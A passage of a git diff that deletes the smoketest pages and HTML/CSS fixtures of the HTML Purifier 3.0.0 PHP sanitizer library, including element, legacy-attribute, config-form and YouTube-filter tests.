type="square"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ul type="circle"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ol type="a"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ol type="A"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ol type="i"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ol type="I"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ol type="1"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ol><li type="a">1</li><li type="I">2</li></ul>]]></sample> - </group> - - - <!-- sample - <group title=""> - <sample><![CDATA[]]></sample> - <sample><![CDATA[]]></sample> - <sample><![CDATA[]]></sample> - </group> - --> -</samples> diff --git a/lib/htmlpurifier-3.0.0/smoketests/basic.php b/lib/htmlpurifier-3.0.0/smoketests/basic.php deleted file mode 100644 index e8ffed8..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/basic.php +++ /dev/null @@ -1,70 +0,0 @@ -<?php - -require_once 'common.php'; - -// todo : modularize the HTML in to separate files - -$allowed = array( - 'allElements' => true, - 'legacy' => true -); - -$page = isset($_GET['p']) ? $_GET['p'] : false; -if (!isset($allowed[$page])) $page = false; - -$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false; - -echo '<?xml version="1.0" encoding="UTF-8" ?>'; -?> -<?php if ($strict) { ?> -<!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1- Strict.dtd"> -<?php } else { ?> -<!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd"> -<?php } ?> -<html> -<head> - <title>HTML Purifier Basic Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -<?php - if ($page) { - if (file_exists("basic/$page.css")) { - ?><link rel="stylesheet" href="basic/<?php echo $page ?>.css" type="text/css" /><?php - } - } -?> -</head> -<body> -<?php - -if ($page) { -?> -<div style="float:right;"><div><?php echo $strict ? 'Strict' : 'Loose'; ?>: -<a href="?d=<?php echo (int) !$strict; ?>&amp;p=<?php echo $page ?>">Swap</a></div> -<a href="http://validator.w3.org/check?uri=referer"><img - src="http://www.w3.org/Icons/valid-xhtml10" - alt="Valid XHTML 1.0 Transitional" height="31" width="88" style="border:0;" /></a> -</div> -<?php - $config = HTMLPurifier_Config::createDefault(); - $config->set('Attr', 'EnableID', true); - $config->set('HTML', 'Strict', $strict); - $purifier = new HTMLPurifier($config); - echo $purifier->purify(file_get_contents("basic/$page.html")); -} else { - ?> - <h1>HTML Purifier Basic Smoketest Index</h1> - <ul> - <?php - foreach ($allowed as $val => $b) { - ?><li><a href="?p=<?php echo $val ?>"><?php echo $val ?></a></li><?php - } - ?></ul><?php -} - -?> -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/basic/allElements.css b/lib/htmlpurifier-3.0.0/smoketests/basic/allElements.css deleted file mode 100644 index 58fb054..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/basic/allElements.css +++ /dev/null @@ -1,48 +0,0 @@ -div > * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;} -#core-attributes #core-attributes-id, -#core-attributes .core-attributes-class, -#core-attributes div[title='tooltip'], -#core-attributes div[lang='en'], -#core-attributes div[onclick="alert('foo');"], -#module-text abbr, -#module-text acronym, -#module-text div blockquote, -#module-text blockquote[cite='http://www.example.com'], -#module-text br, -#module-text cite, -#module-text code, -#module-text dfn, -#module-text em, -#module-text h1, -#module-text h2, -#module-text h3, -#module-text h4, -#module-text h5, -#module-text h6, -#module-text kbd, -#module-text p, -#module-text pre, -#module-text span q, -#module-text q[cite='http://www.example.com'], -#module-text samp, -#module-text strong, -#module-text var, -#module-hypertext span a, -#module-hypertext a[accesskey='q'], -#module-hypertext a[charset='UTF-8'], -#module-hypertext a[href='http://www.example.com/'], -#module-hypertext a[hreflang='en'], -#module-hypertext a[rel='nofollow'], -#module-hypertext a[rev='index'], -#module-hypertext a[tabindex='1'], -#module-hypertext a[type='text/plain'], -#module-list dl, -#module-list ul, -#module-list ol, -#module-list li, -#module-list dd, -#module-list dt, -.insert-declarations-above - {background:#008000; margin:0; padding:0.2em;} -#module-text span, #module-text div {padding:0; margin:0.1em;} -#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;} diff --git a/lib/htmlpurifier-3.0.0/smoketests/basic/allElements.html b/lib/htmlpurifier-3.0.0/smoketests/basic/allElements.html deleted file mode 100644 index 9f72725..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/basic/allElements.html +++ /dev/null @@ -1,79 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" ?> -<!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> -<head> - <title>HTML Purifier All Elements Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <link rel="stylesheet" href="allElements.css" type="text/css" /> -</head> -<body> - -<h1>HTML Purifier All Elements Smoketest</h1> - -<p>This is the all elements smoke -test. It is divided by XHTML 1.1 style modules. Make sure -<code>div</code>, <code>span</code> and <code>id</code> are allowed, -otherwise there will be problems.</p> - -<h2>Core attributes</h2> -<div id="core-attributes"> - <div id="core-attributes-id">id</div> - <div class="core-attributes-class">class</div> - <div title="tooltip">title</div> - <div lang="en">lang</div> - <div xml:lang="en">xml:lang (green when lang also present)</div> - <div style="background:#008000">style</div> - <div onclick="alert('foo');">onclick (and other event handlers)</div> -</div> - -<h2>Text module</h2> -<div id="module-text"> - <abbr>abbr</abbr> - <acronym>acronym</acronym> - <div><blockquote>blockquote</blockquote></div> - <blockquote cite="http://www.example.com">blockquote@cite</blockquote> - <br /> - <cite>cite</cite> - <code>code</code> - <dfn>dfn</dfn> - <em>em</em> - <h1>h1</h1> - <h2>h2</h2> - <h3>h3</h3> - <h4>h4</h4> - <h5>h5</h5> - <h6>h6</h6> - <kbd>kbd</kbd> - <p>p</p> - <pre>pre</pre> - <span><q>q</q></span> - <q cite="http://www.example.com">q@cite</q> - <samp>samp</samp> - <strong>strong</strong> - <var>var</var> -</div> - -<h2>Hypertext module</h2> -<div id="module-hypertext"> - <span><a>a</a></span>: - <a accesskey="q">accesskey</a> - <a charset="UTF-8">charset</a> - <a href="http://www.example.com/">href</a> - <a hreflang="en">hreflang</a> - <a rel="nofollow">rel</a> - <a rev="index">rev</a> - <a tabindex="1">tabindex</a> - <a type="text/plain">type</a> -</div> - -<h2>List module</h2> -<div id="module-list"> - <dl><dt>dl dt</dt><dd>dl dd</dd></dl> - <ol><li>ol li</li></ol> - <ul><li>ul li</li></ul> -</div> - -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/basic/legacy.css b/lib/htmlpurifier-3.0.0/smoketests/basic/legacy.css deleted file mode 100644 index d6d673a..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/basic/legacy.css +++ /dev/null @@ -1,71 +0,0 @@ - -center, -dir[compact='compact'], -isindex[prompt='Foo'], -menu[compact='compact'], -s, -u, -strike, - -caption[align='bottom'], -div[align='center'], -dl[compact='compact'], - -h1[align='right'], -h2[align='right'], -h3[align='right'], -h4[align='right'], -h5[align='right'], -h6[align='right'], - -hr[align='right'], -hr[noshade='noshade'], -hr[width='50'], -hr[size='50'], - -img[align='right'], -img[border='3'], -img[hspace='5'], -img[vspace='5'], - -input[align='right'], -legend[align='center'], - -li[type='A'], -li[value='5'], - -ol[compact='compact'], -ol[start='3'], -ol[type='I'], - -p[align='right'], - -pre[width='50'], - -table[align='right'], -table[bgcolor='#0000FF'], - -tr[bgcolor='#0000FF'], - -td[bgcolor='#0000FF'], -td[height='50'], -td[nowrap='nowrap'], -td[width='200'], - -th[bgcolor='#0000FF'], -th[height='50'], -th[nowrap='nowrap'], -th[width='200'], - -ul[compact='compact'], -ul[type='square'], - -.insert-declarations-above - {background:#008000; color:#FFF; font-weight:bold;} - -font {background:#BFB;} -u {border:1px solid #000;} -hr {height:1em;} -hr[size='50'] {height:50px;} -img[border='3'] {border: 3px solid #000;} -li[type='a'], li[value='5'] {color:#DDD;} diff --git a/lib/htmlpurifier-3.0.0/smoketests/basic/legacy.html b/lib/htmlpurifier-3.0.0/smoketests/basic/legacy.html deleted file mode 100644 index 3023937..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/basic/legacy.html +++ /dev/null @@ -1,124 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" ?> -<!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> -<head> - <title>HTML Purifier Legacy Smoketest Test Data</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <link rel="stylesheet" href="legacy.css" type="text/css" /> -</head> -<body> - -<h1>HTML Purifier Legacy Smoketest Test Data</h1> - -<p>This is the legacy smoketest.</p> - -<h2>Elements</h2> - -<div> -<div> - <basefont color="green" face="Arial" size="6" id="basefont" /> - basefont: Green, Arial, size 6 text (IE-only) -</div> - -<center>center</center> - -<dir compact="compact"> - <li>dir</li> -</dir> - -<font color="green" face="Arial" size="6">font: Green, Arial, size 6 text</font> - -isindex: -<isindex prompt="Foo" /> - -<menu compact="compact"> - <li>menu</li> -</menu> - -<s>s</s> <strike>strike</strike> <u>u</u> -</div> - -<h2>Attributes</h2> - -<div> -<!-- body --> - -<div style="font-size:42pt; float:left;">*</div> -<br clear="left" /> -<p>br@clear (asterisk is up)</p> - -<table> - <caption align="bottom">caption@align</caption> - <tr><td>Cell</td></tr> -</table> - -<div align="center">div@center</div> - -<dl compact="compact"> - <dt>dl@compact</dt> -</dl> - -<h1 align="right">h1</h1> -<h2 align="right">h2</h2> -<h3 align="right">h3</h3> -<h4 align="right">h4</h4> -<h5 align="right">h5</h5> -<h6 align="right">h6</h6> - -hr@align -<hr align="right" width="50" /> -hr@noshade -<hr noshade="noshade" /> -hr@width -<hr width="50" /> -hr@size -<hr size="50" /> - -<img src="" alt="img@align" align="right" /> | -<img src="" alt="img@border" border="3" /> | -<img src="" alt="img@hspace" hspace="5" /> | -<img src="" alt="img@vspace" vspace="5" /> - -<!-- needs context --> -<input align="right" /> -<legend align="center">Legend</legend> - -<ol> - <li type="A">li@type (ensure that it's a capital A)</li> - <li value="5">li@value</li> -</ol> - -<ol compact="compact"><li>ol@compact</li></ol> -<ol start="3"><li>ol@start</li></ol> -<ol type="I"><li>ol@type</li></ol> - -<p align="right">p@align</p> - -<pre width="50">pre@width</pre> - -<script language="JavaScript">document.writeln('script');</script> - -<table align="right"><tr><td>table@align</td></tr></table> -<table bgcolor="#0000FF"><tr><td>table@bgcolor</td></tr></table> - -<table><tr bgcolor="#0000FF"><td>tr@bgcolor</td></tr></table> - -<table><tr><td bgcolor="#0000FF">td@bgcolor</td></tr></table> -<table><tr><td height="50">td@height</td></tr></table> -<table><tr><td nowrap="nowrap">td@nowrap</td></tr></table> -<table><tr><td width="200">td@width</td></tr></table> - -<table><tr><th bgcolor="#0000FF">th@bgcolor</th></tr></table> -<table><tr><th height="50">th@height</th></tr></table> -<table><tr><th nowrap="nowrap">th@nowrap</th></tr></table> -<table><tr><th width="200">th@width</th></tr></table> - -<ul compact="compact"><li>ul@compact</li></ul> -<ul type="square"><li>ul@square</li></ul> - -</div> - -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/common.php b/lib/htmlpurifier-3.0.0/smoketests/common.php deleted file mode 100644 index f657609..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/common.php +++ /dev/null @@ -1,17 +0,0 @@ -<?php - -header('Content-type: text/html; charset=UTF-8'); - -if (!isset($_GET['standalone'])) { - require_once '../library/HTMLPurifier.auto.php'; -} else { - require_once '../library/HTMLPurifier.standalone.php'; -} -error_reporting(E_ALL); - -function escapeHTML($string) { - $string = HTMLPurifier_Encoder::cleanUTF8($string); - $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8'); - return $string; -} - diff --git a/lib/htmlpurifier-3.0.0/smoketests/configForm.php b/lib/htmlpurifier-3.0.0/smoketests/configForm.php deleted file mode 100644 index f84bb48..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/configForm.php +++ /dev/null @@ -1,77 +0,0 @@ -<?php - -require_once 'common.php'; - -if (isset($_GET['doc'])) { - - if ( - file_exists('testSchema.html') && - filemtime('testSchema.php') < filemtime('testSchema.html') && - !isset($_GET['purge']) - ) { - echo file_get_contents('testSchema.html'); - exit; - } - - if (version_compare('5', PHP_VERSION, '>')) exit('Requires PHP 5 or higher.'); - - // setup schema for parsing - require_once 'testSchema.php'; - $new_schema = $custom_schema; // dereference the reference - HTMLPurifier_ConfigSchema::instance($old); // restore old version - - // setup ConfigDoc environment - require_once '../configdoc/library/ConfigDoc.auto.php'; - - // perform the ConfigDoc generation - $configdoc = new ConfigDoc(); - $html = $configdoc->generate($new_schema, 'plain', array( - 'css' => '../configdoc/styles/plain.css', - 'title' => 'Sample Configuration Documentation' - )); - $configdoc->cleanup(); - - file_put_contents('testSchema.html', $html); - echo $html; - - exit; -} - -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html> -<head> - <title>HTML Purifier Config Form Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <link rel="stylesheet" href="../library/HTMLPurifier/Printer/ConfigForm.css" type="text/css" /> - <script defer="defer" type="text/javascript" src="../library/HTMLPurifier/Printer/ConfigForm.js"></script> -</head> -<body> -<h1>HTML Purifier Config Form Smoketest</h1> -<p>This file outputs the configuration form for every single type -of directive possible.</p> -<form id="htmlpurifier-config" name="htmlpurifier-config" method="get" action="" -style="float:right;"> -<?php - -require_once 'HTMLPurifier/Printer/ConfigForm.php'; - -// fictional set, attempts to cover every possible data-type -// see source at ConfigTest.php -require_once 'testSchema.php'; - -// cleanup ( this should be rolled into Config ) -$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config'); -$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s'); -echo $printer->render($config); - -?> -</form> -<pre> -<?php -echo htmlspecialchars(print_r($config->getAll(), true)); -?> -</pre> -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/extractStyleBlocks.php b/lib/htmlpurifier-3.0.0/smoketests/extractStyleBlocks.php deleted file mode 100644 index 75ab44c..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/extractStyleBlocks.php +++ /dev/null @@ -1,69 +0,0 @@ -<?php - -require_once 'common.php'; -require_once 'HTMLPurifier/Filter/ExtractStyleBlocks.php'; - -// need CSSTidy location -$csstidy_location = false; -if (file_exists('../conf/test-settings.php')) include '../conf/test-settings.php'; -if (file_exists('../test-settings.php')) include '../test-settings.php'; - -if (!$csstidy_location) { -?> -Error: <a href="http://csstidy.sourceforge.net/">CSSTidy</a> library not -found, please install and configure <code>test-settings.php</code> -accordingly. -<?php - exit; -} - -require_once $csstidy_location . 'class.csstidy.php'; -require_once $csstidy_location . 'class.csstidy_print.php'; - -$purifier = new HTMLPurifier(); -$purifier->addFilter(new HTMLPurifier_Filter_ExtractStyleBlocks()); - -$html = isset($_POST['html']) ? $_POST['html'] : ''; -$purified_html = $purifier->purify($html); - -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html> -<head> - <title>Extract Style Blocks - HTML Purifier Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -<?php - -// generate style blocks -foreach ($purifier->context->get('StyleBlocks') as $style) { -?><style type="text/css"> -<!--/*--><![CDATA[/*><!--*/ -<?php echo $style; ?> - -/*]]>*/--> -</style> -<?php -} - -?> -</head> -<body> -<h1>Extract Style Blocks</h1> -<p> - This smoketest allows users to specify global style sheets for the - document, allowing for interesting techniques and compact markup - that wouldn't normally be possible, using the ExtractStyleBlocks filter. -</p> -<p> - User submitted content: -</p> -<div style="border: 1px solid #CCC; margin: 1em; padding: 1em;"> - <?php echo $purified_html ?> -</div> -<form action="" method="post"> - <textarea cols="100" rows="20" name="html"><?php echo escapeHTML($html) ?></textarea> - <input type="submit" value="Submit" /> -</form> -</body> -</html> \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/smoketests/img.png b/lib/htmlpurifier-3.0.0/smoketests/img.png deleted file mode 100644 index a755bcb5edbb34f9795364dd147f6d3c58465c86..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2138 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 Qga7~l07*qoM6N<$f>PD%9{>OV diff --git a/lib/htmlpurifier-3.0.0/smoketests/loadFunc.php b/lib/htmlpurifier-3.0.0/smoketests/loadFunc.php deleted file mode 100644 index bff9a87..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/loadFunc.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -set_include_path('../library/' . PATH_SEPARATOR . get_include_path() ); - -header('Content-type: text/html; charset=UTF-8'); -echo '<?xml version="1.0" encoding="UTF-8" ?>'; - -function printb($bool) { - echo '<strong>' . ($bool ? 'Pass' : 'Fail') . '</strong>'; -} - -function printEval($code) { - echo '<pre>' . htmlspecialchars($code) . '</pre>'; - eval($code); -} - -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> -<head> - <title>HTML Purifier Function Include Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -</head> -<body> -<h1>HTML Purifier Function Include Smoketest</h1> - -<p>Tests whether or not the includes are done properly and whether or -not the library is lazy loaded.</p> - -<?php printEval("require_once 'HTMLPurifier.func.php';"); ?> - -<p>HTMLPurifier class doesn't exist: <?php printb(!class_exists('HTMLPurifier')); ?></li></p> - -<?php printEval("HTMLPurifier('foobar');"); ?> - -<p>HTMLPurifier class exists: <?php printb(class_exists('HTMLPurifier')); ?></li></p> - -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/preserveYouTube.php b/lib/htmlpurifier-3.0.0/smoketests/preserveYouTube.php deleted file mode 100644 index 342fb68..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/preserveYouTube.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -require_once 'common.php'; - -echo '<?xml version="1.0" encoding="UTF-8" ?>'; -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html> -<head> - <title>HTML Purifier Preserve YouTube Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -</head> -<body> -<h1>HTML Purifier Preserve YouTube Smoketest</h1> -<?php - -$string = '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/JzqumbhfxRo"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/JzqumbhfxRo" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed></object>'; - -$regular_purifier = new HTMLPurifier(); - -$youtube_purifier = new HTMLPurifier(); -require_once 'HTMLPurifier/Filter/YouTube.php'; -$youtube_purifier->addFilter(new HTMLPurifier_Filter_YouTube()); - -?> -<h2>Unpurified</h2> -<p><a href="?break">Click here to see the unpurified version (breaks validation).</a></p> -<div><?php -if (isset($_GET['break'])) echo $string; -?></div> - -<h2>Without YouTube exception</h2> -<div><?php -echo $regular_purifier->purify($string); -?></div> - -<h2>With YouTube exception</h2> -<div><?php -echo $youtube_purifier->purify($string); -?></div> - -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/printDefinition.php b/lib/htmlpurifier-3.0.0/smoketests/printDefinition.php deleted file mode 100644 index 86fd949..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/printDefinition.php +++ /dev/null @@ -1,114 +0,0 @@ -<?php - -require_once 'common.php'; // load library - -require_once 'HTMLPurifier/Printer/HTMLDefinition.php'; -require_once 'HTMLPurifier/Printer/CSSDefinition.php'; -require_once 'HTMLPurifier/Printer/ConfigForm.php'; - -$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', 'HTML'); - -// you can do custom configuration! -if (file_exists('printDefinition.settings.php')) { - include 'printDefinition.settings.php'; -} - -$printer_html_definition = new HTMLPurifier_Printer_HTMLDefinition(); -$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition(); - -$printer_config_form = new HTMLPurifier_Printer_ConfigForm( - 'config', - 'http://htmlpurifier.org/live/configdoc/plain.html#%s' -); - -echo '<?xml version="1.0" encoding="UTF-8" ?>'; - -?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> -<head> - <title>HTML Purifier Printer Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <style type="text/css"> - .hp-config {margin-left:auto; margin-right:auto;} - .HTMLPurifier_Printer table {border-collapse:collapse; - border:1px solid #000; width:600px; - margin:1em auto;font-family:sans-serif;font-size:75%;} - .HTMLPurifier_Printer td, .HTMLPurifier_Printer th {padding:3px; - border:1px solid #000;background:#CCC; vertical-align: baseline;} - .HTMLPurifier_Printer th {text-align:left;background:#CCF;width:20%;} - .HTMLPurifier_Printer caption {font-size:1.5em; font-weight:bold; - width:100%;} - .HTMLPurifier_Printer .heavy {background:#99C;text-align:center;} - .HTMLPurifier_Printer .unsafe {background:#C99;} - dt {font-weight:bold;} - </style> - <link rel="stylesheet" href="../library/HTMLPurifier/Printer/ConfigForm.css" type="text/css" /> - <script defer="defer" type="text/javascript" src="../library/HTMLPurifier/Printer/ConfigForm.js"></script> -</head> -<body> - -<h1>HTML Purifier Printer Smoketest</h1> - -<p>HTML Purifier claims to have a robust yet permissive whitelist: this -page will allow you to see precisely what HTML Purifier's internal -whitelist is. You can -also twiddle with the configuration settings to see how a directive -influences the internal workings of the definition objects.</p> - -<h2>Modify configuration</h2> - -<p>You can specify an array by typing in a comma-separated -list of items, HTML Purifier will take care of the rest (including -transformation into a real array list or a lookup table).</p> - -<form method="get" action="" name="hp-configform"> -<?php - echo $printer_config_form->render($config, 'HTML'); -?> -<p>* Some configuration directives make a distinction between an empty -variable and a null variable. A whitelist, for example, will take an -empty array as meaning <em>no</em> allowed elements, while checking -Null/Disabled will mean that user whitelisting functionality is disabled.</p> -</form> - -<h2>Definitions</h2> - -<dl> - <dt>Parent of Fragment</dt> - <dd>HTML that HTML Purifier does not live in a void: when it's - output, it has to be placed in another element by means of - something like <code>&lt;element&gt; &lt;?php echo $html - ?&gt; &lt;/element&gt;</code>. The parent in this example - is <code>element</code>.</dd> - <dt>Strict mode</dt> - <dd>Whether or not HTML Purifier's output is Transitional or - Strict compliant. Non-strict mode still actually a little strict - and converts many deprecated elements.</dd> - <dt>#PCDATA</dt> - <dd>Literally <strong>Parsed Character Data</strong>, it is regular - text. Tags like <code>ul</code> don't allow text in them, so - #PCDATA is missing.</dd> - <dt>Tag transform</dt> - <dd>A tag transform will change one tag to another. Example: <code>font</code> - turns into a <code>span</code> tag with appropriate CSS.</dd> - <dt>Attr Transform</dt> - <dd>An attribute transform changes a group of attributes based on one - another. Currently, only <code>lang</code> and <code>xml:lang</code> - use this hook, to synchronize each other's values. Pre/Post indicates - whether or not the transform is done before/after validation.</dd> - <dt>Excludes</dt> - <dd>Tags that an element excludes are excluded for all descendants of - that element, and not just the children of them.</dd> - <dt>Name(Param1, Param2)</dt> - <dd>Represents an internal data-structure. You'll have to check out - the corresponding classes in HTML Purifier to find out more.</dd> -</dl> - -<h2>HTMLDefinition</h2> -<?php echo $printer_html_definition->render($config) ?> -<h2>CSSDefinition</h2> 